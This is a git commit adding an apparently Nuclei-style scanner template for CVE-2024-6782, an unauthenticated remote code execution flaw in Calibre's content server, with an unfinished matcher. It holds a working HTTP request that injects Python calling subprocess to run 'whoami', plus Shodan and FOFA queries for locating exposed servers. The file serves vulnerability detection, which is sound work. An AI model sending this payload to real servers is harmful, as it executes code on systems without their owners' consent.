Create CVE-2024-6782.yaml
parent
31be8581f7
commit
a35a88e447
|
@ -0,0 +1,35 @@
|
|||
id: CVE-2024-6782
|
||||
|
||||
info:
|
||||
name: Calibre <= 7.14.0 Remote Code Execution
|
||||
author: DhiyaneshDK
|
||||
severity: critical
|
||||
description: |
|
||||
Unauthenticated remote code execution via Calibre’s content server in Calibre <= 7.14.0.
|
||||
reference:
|
||||
- https://starlabs.sg/advisories/24/24-6781/
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: html:"Calibre"
|
||||
fofa-query: "Server: calibre"
|
||||
max-requeset: 1
|
||||
tags: cve,cve2024,calibre,rce
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /cdb/cmd/list HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/json
|
||||
|
||||
[["template"], "", "", "", 1, "python:def evaluate(a, b):\n import subprocess\n try:\n return subprocess.check_output(['cmd.exe', '/c', 'whoami']).decode()\n except Exception:\n return subprocess.check_output(['sh', '-c', 'whoami']).decode()"]
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "" #to be added
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
Loading…
Reference in New Issue